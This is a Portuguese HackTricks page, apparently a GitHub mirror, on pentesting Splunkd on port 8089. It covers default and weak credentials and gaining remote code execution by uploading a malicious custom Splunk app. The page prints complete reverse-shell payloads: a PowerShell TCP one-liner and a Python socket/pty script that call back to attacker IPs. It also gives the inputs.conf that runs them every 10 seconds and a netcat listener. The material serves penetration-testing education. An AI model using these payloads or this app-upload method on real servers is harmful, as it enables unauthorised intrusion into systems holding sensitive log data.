mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 01:55:46 +00:00
138 lines
8.9 KiB
Markdown
138 lines
8.9 KiB
Markdown
# 8089 - Testando a Segurança do Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## **Informações Básicas**
|
|
|
|
O Splunk é uma **ferramenta de análise de logs** que desempenha um papel crucial na **coleta, análise e visualização de dados**. Embora seu propósito inicial não fosse servir como uma ferramenta de **SIEM (Segurança da Informação e Gerenciamento de Eventos)**, ele ganhou popularidade no âmbito do **monitoramento de segurança** e **análise de negócios**.
|
|
|
|
As implantações do Splunk são frequentemente utilizadas para armazenar **dados sensíveis** e podem servir como uma **fonte valiosa de informações** para possíveis atacantes se conseguirem comprometer o sistema. **Porta padrão:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
O **servidor web do Splunk é executado por padrão na porta 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeração
|
|
|
|
### Versão Gratuita
|
|
|
|
O teste do Splunk Enterprise se converte em uma **versão gratuita após 60 dias**, a qual **não requer autenticação**. Não é incomum os administradores de sistema instalarem um teste do Splunk para testá-lo e, em seguida, **esquecerem-se disso**. Isso automaticamente converte para a versão gratuita que não possui nenhum tipo de autenticação, introduzindo uma vulnerabilidade no ambiente. Algumas organizações podem optar pela versão gratuita devido a restrições orçamentárias, sem compreender totalmente as implicações de não ter gerenciamento de usuário/papel.
|
|
|
|
### Credenciais Padrão
|
|
|
|
Em versões mais antigas do Splunk, as credenciais padrão são **`admin:changeme`**, as quais são convenientemente exibidas na página de login.\
|
|
No entanto, **a versão mais recente do Splunk** define **credenciais** **durante o processo de instalação**. Se as credenciais padrão não funcionarem, vale a pena verificar por senhas fracas comuns como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
|
|
|
### Obter Informações
|
|
|
|
Depois de fazer login no Splunk, podemos **navegar pelos dados**, executar **relatórios**, criar **painéis**, **instalar aplicativos** da biblioteca Splunkbase e instalar aplicativos personalizados.\
|
|
Você também pode executar código: o Splunk tem várias maneiras de **executar código**, como aplicativos Django do lado do servidor, pontos de extremidade REST, entradas scriptadas e scripts de alerta. Um método comum de obter execução de código remoto em um servidor Splunk é através do uso de uma entrada scriptada.
|
|
|
|
Além disso, como o Splunk pode ser instalado em hosts Windows ou Linux, entradas scriptadas podem ser criadas para executar scripts Bash, PowerShell ou Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Construção do Splunk`
|
|
|
|
## RCE
|
|
|
|
### Criar Aplicativo Personalizado
|
|
|
|
Um aplicativo personalizado pode executar **scripts Python, Batch, Bash ou PowerShell**.\
|
|
Observe que o **Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código Python.
|
|
|
|
Você pode usar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) pacote Splunk para nos ajudar. O diretório **`bin`** neste repositório possui exemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos seguir isso passo a passo.
|
|
|
|
Para conseguir isso, primeiro precisamos criar um aplicativo Splunk personalizado usando a seguinte estrutura de diretório:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
O diretório **`bin`** conterá quaisquer **scripts que pretendemos executar** (neste caso, um shell reverso **PowerShell**), e o diretório padrão terá nosso arquivo `inputs.conf`. Nosso shell reverso será um **PowerShell de uma linha:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
O arquivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) informa ao Splunk **qual script executar** e quaisquer outras condições. Aqui definimos o aplicativo como habilitado e dizemos ao Splunk para executar o script a cada 10 segundos. O intervalo é sempre em segundos, e a entrada (script) só será executada se essa configuração estiver presente.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Precisamos do arquivo `.bat`, que será executado quando a aplicação for implantada e executará o comando PowerShell em uma linha.
|
|
|
|
O próximo passo é escolher `Instalar aplicativo a partir do arquivo` e fazer o upload da aplicação.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Antes de fazer o upload do aplicativo personalizado malicioso, vamos iniciar um ouvinte usando Netcat ou [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Na página `Upload app`, clique em procurar, escolha o tarball que criamos anteriormente e clique em `Upload`. Assim que **fazemos o upload do aplicativo**, um **shell reverso é recebido** e o status do aplicativo será automaticamente alterado para `Enabled`.
|
|
|
|
#### Linux
|
|
|
|
Se estivéssemos lidando com um **host Linux**, precisaríamos **editar o script Python `rev.py`** antes de criar o tarball e fazer o upload do aplicativo malicioso personalizado. O restante do processo seria o mesmo e obteríamos uma conexão de shell reverso em nosso ouvinte Netcat e estaríamos prontos para começar.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Escalada de Privilégios
|
|
|
|
Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referências
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|